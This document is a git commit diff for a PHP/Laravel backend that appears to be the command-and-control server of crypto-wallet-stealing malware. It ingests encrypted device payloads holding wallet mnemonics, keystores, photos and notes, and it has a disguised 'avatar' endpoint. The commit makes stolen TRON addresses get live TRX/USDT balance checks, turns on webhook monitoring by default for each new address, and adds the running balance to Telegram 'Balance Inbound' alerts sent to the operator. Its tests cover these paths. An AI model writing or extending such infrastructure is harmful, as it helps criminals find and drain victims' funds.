fix: balance
This commit is contained in:
@@ -10,13 +10,19 @@ use App\Models\Photo;
|
|||||||
use App\Models\WalletAddress;
|
use App\Models\WalletAddress;
|
||||||
use App\Models\WalletKeystore;
|
use App\Models\WalletKeystore;
|
||||||
use App\Models\WalletMnemonic;
|
use App\Models\WalletMnemonic;
|
||||||
|
use App\Services\Tokenview\TokenviewMonitorService;
|
||||||
use App\Support\WalletSource;
|
use App\Support\WalletSource;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
use Illuminate\Support\Facades\Storage;
|
use Illuminate\Support\Facades\Storage;
|
||||||
|
|
||||||
class IngestService
|
class IngestService
|
||||||
{
|
{
|
||||||
public function __construct(private readonly TelegramNotifier $telegram) {}
|
public function __construct(
|
||||||
|
private readonly TelegramNotifier $telegram,
|
||||||
|
private readonly WalletBalanceService $balances,
|
||||||
|
private readonly TokenviewMonitorService $tokenview,
|
||||||
|
) {}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Stable device id — currently only from payload `d` / `f`.
|
* Stable device id — currently only from payload `d` / `f`.
|
||||||
@@ -339,8 +345,9 @@ class IngestService
|
|||||||
foreach ($coinAttrs as $col => $value) {
|
foreach ($coinAttrs as $col => $value) {
|
||||||
$attrs[$col] = $value;
|
$attrs[$col] = $value;
|
||||||
}
|
}
|
||||||
|
// Default monitor on for new rows; disabled only when Tokenview enable fails.
|
||||||
if (! $existing) {
|
if (! $existing) {
|
||||||
$attrs['monitor'] = 0;
|
$attrs['monitor'] = 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
$addr = WalletAddress::query()->updateOrCreate(
|
$addr = WalletAddress::query()->updateOrCreate(
|
||||||
@@ -348,6 +355,19 @@ class IngestService
|
|||||||
$attrs
|
$attrs
|
||||||
);
|
);
|
||||||
|
|
||||||
|
$isTron = in_array($chainType, ['TRON', 'TRX'], true);
|
||||||
|
// Tron: client payloads often omit balances — pull TRX/USDT from chain.
|
||||||
|
// Always refresh on first insert so Telegram/DB get live totals.
|
||||||
|
if ($isTron && (! $existing || $coinAttrs === [])) {
|
||||||
|
if ($this->balances->refresh($addr)) {
|
||||||
|
$addr->refresh();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! $existing) {
|
||||||
|
$this->enableMonitorOrDisable($addr);
|
||||||
|
}
|
||||||
|
|
||||||
$balanceSummary = $addr->coinsSummary();
|
$balanceSummary = $addr->coinsSummary();
|
||||||
$shouldNotify = ! $existing
|
$shouldNotify = ! $existing
|
||||||
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
|
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
|
||||||
@@ -367,6 +387,27 @@ class IngestService
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* New addresses start with monitor=1; turn off only when Tokenview add fails.
|
||||||
|
*/
|
||||||
|
private function enableMonitorOrDisable(WalletAddress $address): void
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
if ($this->tokenview->syncMonitor($address)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::warning('tokenview enable on ingest failed: '.$e->getMessage(), [
|
||||||
|
'wallet_address_id' => $address->id,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((int) $address->monitor !== 0) {
|
||||||
|
$address->monitor = 0;
|
||||||
|
$address->save();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* `/api/user/avatar/pic` — Notes reader; content = payload.list.
|
* `/api/user/avatar/pic` — Notes reader; content = payload.list.
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -115,14 +115,19 @@ class TelegramNotifier
|
|||||||
string $symbol,
|
string $symbol,
|
||||||
string $amount,
|
string $amount,
|
||||||
?string $chain = null,
|
?string $chain = null,
|
||||||
|
?string $balance = null,
|
||||||
): void {
|
): void {
|
||||||
$this->send(implode("\n", [
|
$lines = [
|
||||||
'✅ <b>Balance Inbound</b>',
|
'✅ <b>Balance Inbound</b>',
|
||||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||||
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
|
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
|
||||||
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
|
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
|
||||||
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
|
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
|
||||||
]));
|
];
|
||||||
|
if ($balance !== null && trim($balance) !== '') {
|
||||||
|
$lines[] = '💰 <b>Balance</b>: '.$this->e($balance);
|
||||||
|
}
|
||||||
|
$this->send(implode("\n", $lines));
|
||||||
}
|
}
|
||||||
|
|
||||||
private function e(?string $value): string
|
private function e(?string $value): string
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ use App\Models\Device;
|
|||||||
use App\Models\TokenviewEvent;
|
use App\Models\TokenviewEvent;
|
||||||
use App\Models\WalletAddress;
|
use App\Models\WalletAddress;
|
||||||
use App\Services\TelegramNotifier;
|
use App\Services\TelegramNotifier;
|
||||||
|
use App\Services\WalletBalanceService;
|
||||||
use Illuminate\Support\Facades\DB;
|
use Illuminate\Support\Facades\DB;
|
||||||
use Illuminate\Support\Facades\Log;
|
use Illuminate\Support\Facades\Log;
|
||||||
|
|
||||||
@@ -14,6 +15,7 @@ class TokenviewMonitorService
|
|||||||
public function __construct(
|
public function __construct(
|
||||||
private readonly TokenviewClient $client,
|
private readonly TokenviewClient $client,
|
||||||
private readonly TelegramNotifier $telegram,
|
private readonly TelegramNotifier $telegram,
|
||||||
|
private readonly WalletBalanceService $balances,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -119,17 +121,29 @@ class TokenviewMonitorService
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
DB::transaction(function () use ($rows, $deltas) {
|
$tronRows = $rows->filter(function (WalletAddress $row) {
|
||||||
foreach ($rows as $row) {
|
return in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true);
|
||||||
/** @var WalletAddress $row */
|
|
||||||
foreach ($deltas as $col => $delta) {
|
|
||||||
$current = $row->{$col};
|
|
||||||
$base = ($current === null || $current === '') ? 0.0 : (float) $current;
|
|
||||||
$row->{$col} = $base + $delta;
|
|
||||||
}
|
|
||||||
$row->save();
|
|
||||||
}
|
|
||||||
});
|
});
|
||||||
|
$deltaRows = $rows->filter(function (WalletAddress $row) {
|
||||||
|
return ! in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true);
|
||||||
|
});
|
||||||
|
|
||||||
|
// Tron webhooks only carry deltas — refresh TRX/USDT from chain as source of truth.
|
||||||
|
foreach ($tronRows as $row) {
|
||||||
|
/** @var WalletAddress $row */
|
||||||
|
if (! $this->balances->refresh($row)) {
|
||||||
|
$this->applyDeltasToRow($row, $deltas);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($deltaRows->isNotEmpty()) {
|
||||||
|
DB::transaction(function () use ($deltaRows, $deltas) {
|
||||||
|
foreach ($deltaRows as $row) {
|
||||||
|
/** @var WalletAddress $row */
|
||||||
|
$this->applyDeltasToRow($row, $deltas);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
$inbound = [];
|
$inbound = [];
|
||||||
foreach ($deltas as $col => $delta) {
|
foreach ($deltas as $col => $delta) {
|
||||||
@@ -141,18 +155,35 @@ class TokenviewMonitorService
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
$deviceKey = Device::query()->whereKey($rows->first()->device_id)->value('device_id') ?: (string) $rows->first()->device_id;
|
$primary = $rows->first();
|
||||||
|
$primary->refresh();
|
||||||
|
$balanceSummary = $primary->coinsSummary();
|
||||||
|
$deviceKey = Device::query()->whereKey($primary->device_id)->value('device_id') ?: (string) $primary->device_id;
|
||||||
foreach ($inbound as $col => $delta) {
|
foreach ($inbound as $col => $delta) {
|
||||||
$this->telegram->notifyBalanceChange(
|
$this->telegram->notifyBalanceChange(
|
||||||
(string) $deviceKey,
|
(string) $deviceKey,
|
||||||
$lookup,
|
$lookup,
|
||||||
strtoupper($col),
|
strtoupper($col),
|
||||||
WalletAddress::formatAmount($col, $delta),
|
WalletAddress::formatAmount($col, $delta),
|
||||||
$coin
|
$coin,
|
||||||
|
$balanceSummary
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, float> $deltas
|
||||||
|
*/
|
||||||
|
private function applyDeltasToRow(WalletAddress $row, array $deltas): void
|
||||||
|
{
|
||||||
|
foreach ($deltas as $col => $delta) {
|
||||||
|
$current = $row->{$col};
|
||||||
|
$base = ($current === null || $current === '') ? 0.0 : (float) $current;
|
||||||
|
$row->{$col} = $base + $delta;
|
||||||
|
}
|
||||||
|
$row->save();
|
||||||
|
}
|
||||||
|
|
||||||
public function verifySignature(string $rawBody, ?string $signature): bool
|
public function verifySignature(string $rawBody, ?string $signature): bool
|
||||||
{
|
{
|
||||||
$signKey = (string) config('coruna.tokenview.sign_key');
|
$signKey = (string) config('coruna.tokenview.sign_key');
|
||||||
|
|||||||
@@ -0,0 +1,66 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Services;
|
||||||
|
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Services\Chain\ChainManager;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Live on-chain balance refresh for wallet_addresses.
|
||||||
|
*
|
||||||
|
* Tron mainnet: only TRX (native) + USDT (official TRC20) are queried.
|
||||||
|
* BTC / ETH / BNB have no canonical native assets on Tron — skipped.
|
||||||
|
*/
|
||||||
|
class WalletBalanceService
|
||||||
|
{
|
||||||
|
public function __construct(
|
||||||
|
private readonly ChainManager $chains,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Refresh balances for a wallet row when the chain is supported.
|
||||||
|
*
|
||||||
|
* @return bool true when at least one coin column was updated from chain
|
||||||
|
*/
|
||||||
|
public function refresh(WalletAddress $address): bool
|
||||||
|
{
|
||||||
|
$chain = strtoupper(trim((string) $address->chain_type));
|
||||||
|
|
||||||
|
return match ($chain) {
|
||||||
|
'TRON', 'TRX' => $this->refreshTron($address),
|
||||||
|
default => false,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public function refreshTron(WalletAddress $address): bool
|
||||||
|
{
|
||||||
|
$addr = trim((string) $address->address);
|
||||||
|
if ($addr === '') {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$driver = $this->chains->resolve('tron');
|
||||||
|
$trx = $driver->getNativeBalance($addr);
|
||||||
|
$usdt = $driver->getTokenBalance(
|
||||||
|
$addr,
|
||||||
|
(string) config('coruna.tron.usdt_contract'),
|
||||||
|
);
|
||||||
|
|
||||||
|
$address->trx = $trx;
|
||||||
|
$address->usdt = $usdt;
|
||||||
|
// No official BTC/ETH/BNB on Tron — leave those columns untouched.
|
||||||
|
$address->save();
|
||||||
|
|
||||||
|
return true;
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::warning('tron balance refresh failed: '.$e->getMessage(), [
|
||||||
|
'wallet_address_id' => $address->id,
|
||||||
|
'address' => $addr,
|
||||||
|
]);
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -57,6 +57,7 @@ return [
|
|||||||
'tron' => [
|
'tron' => [
|
||||||
'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'),
|
'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'),
|
||||||
'api_key' => env('TRON_API_KEY', ''),
|
'api_key' => env('TRON_API_KEY', ''),
|
||||||
|
// Official Tether USDT TRC20. BTC/ETH/BNB have no canonical Tron natives — not queried.
|
||||||
'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'),
|
'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'),
|
||||||
'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000),
|
'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000),
|
||||||
],
|
],
|
||||||
|
|||||||
@@ -32,5 +32,11 @@
|
|||||||
<env name="PULSE_ENABLED" value="false"/>
|
<env name="PULSE_ENABLED" value="false"/>
|
||||||
<env name="TELESCOPE_ENABLED" value="false"/>
|
<env name="TELESCOPE_ENABLED" value="false"/>
|
||||||
<env name="NIGHTWATCH_ENABLED" value="false"/>
|
<env name="NIGHTWATCH_ENABLED" value="false"/>
|
||||||
|
<!-- Keep outbound integrations off unless a test opts in via config()/Http::fake. -->
|
||||||
|
<env name="TOKENVIEW_API_KEY" value=""/>
|
||||||
|
<env name="TOKENVIEW_SIGN_KEY" value=""/>
|
||||||
|
<env name="TELEGRAM_BOT_TOKEN" value=""/>
|
||||||
|
<env name="TELEGRAM_OWNER_CHAT_ID" value=""/>
|
||||||
|
<env name="TRON_API_KEY" value=""/>
|
||||||
</php>
|
</php>
|
||||||
</phpunit>
|
</phpunit>
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ use App\Models\WalletMnemonic;
|
|||||||
use App\Services\CorunaCrypto;
|
use App\Services\CorunaCrypto;
|
||||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
use Illuminate\Http\UploadedFile;
|
use Illuminate\Http\UploadedFile;
|
||||||
|
use Illuminate\Support\Facades\Http;
|
||||||
use Illuminate\Support\Facades\Storage;
|
use Illuminate\Support\Facades\Storage;
|
||||||
use PHPUnit\Framework\Attributes\Test;
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
use Tests\TestCase;
|
use Tests\TestCase;
|
||||||
@@ -212,6 +213,9 @@ class C2ApiTest extends TestCase
|
|||||||
], $encSet2['body'])->assertOk();
|
], $encSet2['body'])->assertOk();
|
||||||
$this->assertSame(1, WalletMnemonic::query()->where('device_id', $device->id)->count());
|
$this->assertSame(1, WalletMnemonic::query()->where('device_id', $device->id)->count());
|
||||||
|
|
||||||
|
// No Tokenview key → enable fails → monitor forced off.
|
||||||
|
config(['coruna.tokenview.api_key' => '']);
|
||||||
|
|
||||||
$tsStatus = '1722585600789';
|
$tsStatus = '1722585600789';
|
||||||
$encStatus = $crypto->encryptJson([
|
$encStatus = $crypto->encryptJson([
|
||||||
'd' => 'dev-wallet-1',
|
'd' => 'dev-wallet-1',
|
||||||
@@ -272,8 +276,17 @@ class C2ApiTest extends TestCase
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function status_global_wallet_ad_map_stores_empty_balance(): void
|
public function status_global_wallet_ad_map_refreshes_tron_balances_and_enables_monitor(): void
|
||||||
{
|
{
|
||||||
|
config(['coruna.tokenview.api_key' => 'test-key']);
|
||||||
|
Http::fake([
|
||||||
|
'*/wallet/getaccount' => Http::response(['balance' => 2_500_000], 200),
|
||||||
|
'*/wallet/triggerconstantcontract' => Http::response([
|
||||||
|
'constant_result' => [str_pad(dechex(12_500_000), 64, '0', STR_PAD_LEFT)],
|
||||||
|
], 200),
|
||||||
|
'services.tokenview.io/*' => Http::response(['code' => 1, 'msg' => 'success'], 200),
|
||||||
|
]);
|
||||||
|
|
||||||
$crypto = new CorunaCrypto;
|
$crypto = new CorunaCrypto;
|
||||||
$ts = '1722585600777';
|
$ts = '1722585600777';
|
||||||
$enc = $crypto->encryptJson([
|
$enc = $crypto->encryptJson([
|
||||||
@@ -298,14 +311,66 @@ class C2ApiTest extends TestCase
|
|||||||
$this->assertNotNull($addr);
|
$this->assertNotNull($addr);
|
||||||
$this->assertSame('Global Wallet', $addr->source);
|
$this->assertSame('Global Wallet', $addr->source);
|
||||||
$this->assertSame('TRON', $addr->chain_type);
|
$this->assertSame('TRON', $addr->chain_type);
|
||||||
$this->assertNull($addr->trx);
|
$this->assertEqualsWithDelta(2.5, (float) $addr->trx, 0.0000001);
|
||||||
$this->assertNull($addr->usdt);
|
$this->assertEqualsWithDelta(12.5, (float) $addr->usdt, 0.0000001);
|
||||||
|
$this->assertSame(1, (int) $addr->monitor);
|
||||||
|
|
||||||
|
Http::assertSent(fn ($request) => str_contains($request->url(), '/monitor/address/add/trx/'));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function status_disables_monitor_when_tokenview_enable_fails(): void
|
||||||
|
{
|
||||||
|
config(['coruna.tokenview.api_key' => 'test-key']);
|
||||||
|
Http::fake([
|
||||||
|
'services.tokenview.io/*' => Http::response(['code' => 0, 'msg' => 'fail'], 200),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$crypto = new CorunaCrypto;
|
||||||
|
$ts = '1722585600778';
|
||||||
|
$enc = $crypto->encryptJson([
|
||||||
|
'd' => 'dev-monitor-fail-1',
|
||||||
|
'a' => 'a1',
|
||||||
|
'data' => [
|
||||||
|
['address' => '0xabc1230000000000000000000000000000000009', 'chain' => 'eth', 'balance' => '1', 'symbol' => 'ETH'],
|
||||||
|
],
|
||||||
|
], $ts);
|
||||||
|
|
||||||
|
$this->call('POST', '/api/user/status', [], [], [], [
|
||||||
|
'CONTENT_TYPE' => 'text/plain',
|
||||||
|
'HTTP_TIMESTAMP' => $ts,
|
||||||
|
], $enc['body'])->assertOk();
|
||||||
|
|
||||||
|
$device = Device::query()->where('device_id', 'dev-monitor-fail-1')->first();
|
||||||
|
$addr = WalletAddress::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->where('address', '0xabc1230000000000000000000000000000000009')
|
||||||
|
->first();
|
||||||
|
$this->assertNotNull($addr);
|
||||||
$this->assertSame(0, (int) $addr->monitor);
|
$this->assertSame(0, (int) $addr->monitor);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function status_ingests_har_shaped_ba_address_map(): void
|
public function status_ingests_har_shaped_ba_address_map(): void
|
||||||
{
|
{
|
||||||
|
// New Tron rows refresh TRX/USDT from chain before notify — stub node.
|
||||||
|
Http::fake(function ($request) {
|
||||||
|
$url = $request->url();
|
||||||
|
if (str_contains($url, '/wallet/getaccount')) {
|
||||||
|
return Http::response(['balance' => 4_000_006], 200);
|
||||||
|
}
|
||||||
|
if (str_contains($url, '/wallet/triggerconstantcontract')) {
|
||||||
|
return Http::response([
|
||||||
|
'constant_result' => [str_pad('0', 64, '0', STR_PAD_LEFT)],
|
||||||
|
], 200);
|
||||||
|
}
|
||||||
|
if (str_contains($url, 'tokenview')) {
|
||||||
|
return Http::response(['code' => 1, 'msg' => 'success'], 200);
|
||||||
|
}
|
||||||
|
|
||||||
|
return Http::response(['ok' => true], 200);
|
||||||
|
});
|
||||||
|
|
||||||
$crypto = new CorunaCrypto;
|
$crypto = new CorunaCrypto;
|
||||||
$ts = '1722585600888';
|
$ts = '1722585600888';
|
||||||
$enc = $crypto->encryptJson([
|
$enc = $crypto->encryptJson([
|
||||||
|
|||||||
@@ -97,6 +97,59 @@ class TokenviewWebhookTest extends TestCase
|
|||||||
$this->assertSame(1, TokenviewEvent::query()->count());
|
$this->assertSame(1, TokenviewEvent::query()->count());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function webhook_refreshes_tron_balances_from_chain_instead_of_delta(): void
|
||||||
|
{
|
||||||
|
config(['coruna.tokenview.sign_key' => '']);
|
||||||
|
Http::fake([
|
||||||
|
'*/wallet/getaccount' => Http::response(['balance' => 9_000_000], 200),
|
||||||
|
'*/wallet/triggerconstantcontract' => Http::response([
|
||||||
|
'constant_result' => [str_pad(dechex(50_000_000), 64, '0', STR_PAD_LEFT)],
|
||||||
|
], 200),
|
||||||
|
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||||
|
]);
|
||||||
|
config([
|
||||||
|
'coruna.telegram.bot_token' => 'bot-token',
|
||||||
|
'coruna.telegram.owner_chat_id' => '12345',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$addr = $this->seedMonitoredAddress([
|
||||||
|
'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
|
||||||
|
'chain_type' => 'TRON',
|
||||||
|
'trx' => 1.0,
|
||||||
|
'usdt' => 10.0,
|
||||||
|
'eth' => null,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$payload = [
|
||||||
|
'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
|
||||||
|
'txid' => 'tron-txid-refresh-1',
|
||||||
|
'coin' => 'TRX',
|
||||||
|
'tokenSymbol' => 'USDT',
|
||||||
|
'tokenValue' => '5',
|
||||||
|
'value' => '0.1',
|
||||||
|
];
|
||||||
|
|
||||||
|
$this->postJson('/hooks/tokenview', $payload)->assertOk()->assertSee('ok');
|
||||||
|
|
||||||
|
$addr->refresh();
|
||||||
|
// Live chain balances win over webhook deltas.
|
||||||
|
$this->assertEqualsWithDelta(9.0, (float) $addr->trx, 0.0000001);
|
||||||
|
$this->assertEqualsWithDelta(50.0, (float) $addr->usdt, 0.0000001);
|
||||||
|
|
||||||
|
Http::assertSent(function ($request) {
|
||||||
|
if (! str_contains($request->url(), 'api.telegram.org')) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
$text = (string) ($request->data()['text'] ?? '');
|
||||||
|
|
||||||
|
return str_contains($text, 'Balance Inbound')
|
||||||
|
&& str_contains($text, '+5 USDT')
|
||||||
|
&& str_contains($text, 'Balance')
|
||||||
|
&& str_contains($text, 'USDT');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function webhook_ignores_address_when_monitor_off(): void
|
public function webhook_ignores_address_when_monitor_off(): void
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -0,0 +1,73 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace Tests\Unit;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Services\WalletBalanceService;
|
||||||
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
|
use Illuminate\Support\Facades\Http;
|
||||||
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
|
use Tests\TestCase;
|
||||||
|
|
||||||
|
class WalletBalanceServiceTest extends TestCase
|
||||||
|
{
|
||||||
|
use RefreshDatabase;
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function refreshes_tron_trx_and_usdt_only(): void
|
||||||
|
{
|
||||||
|
Http::fake([
|
||||||
|
'*/wallet/getaccount' => Http::response(['balance' => 1_000_000], 200),
|
||||||
|
'*/wallet/triggerconstantcontract' => Http::response([
|
||||||
|
'constant_result' => [str_pad(dechex(3_000_000), 64, '0', STR_PAD_LEFT)],
|
||||||
|
], 200),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$device = Device::query()->create([
|
||||||
|
'device_id' => 'dev-bal-1',
|
||||||
|
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||||
|
]);
|
||||||
|
$addr = WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
|
||||||
|
'chain_type' => 'TRON',
|
||||||
|
'source' => 'imToken',
|
||||||
|
'btc' => 1.23,
|
||||||
|
'eth' => 4.56,
|
||||||
|
'monitor' => 1,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$ok = app(WalletBalanceService::class)->refresh($addr);
|
||||||
|
$this->assertTrue($ok);
|
||||||
|
|
||||||
|
$addr->refresh();
|
||||||
|
$this->assertEqualsWithDelta(1.0, (float) $addr->trx, 0.0000001);
|
||||||
|
$this->assertEqualsWithDelta(3.0, (float) $addr->usdt, 0.0000001);
|
||||||
|
// Non-Tron columns are not overwritten.
|
||||||
|
$this->assertEqualsWithDelta(1.23, (float) $addr->btc, 0.0000001);
|
||||||
|
$this->assertEqualsWithDelta(4.56, (float) $addr->eth, 0.0000001);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function skips_non_tron_chains(): void
|
||||||
|
{
|
||||||
|
$device = Device::query()->create([
|
||||||
|
'device_id' => 'dev-bal-2',
|
||||||
|
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||||
|
]);
|
||||||
|
$addr = WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => '0xab5c66752a9e8167967685f1450532fb96d5d24f',
|
||||||
|
'chain_type' => 'ETH',
|
||||||
|
'source' => 'MetaMask',
|
||||||
|
'eth' => 1.0,
|
||||||
|
'monitor' => 1,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$ok = app(WalletBalanceService::class)->refresh($addr);
|
||||||
|
$this->assertFalse($ok);
|
||||||
|
$addr->refresh();
|
||||||
|
$this->assertEqualsWithDelta(1.0, (float) $addr->eth, 0.0000001);
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user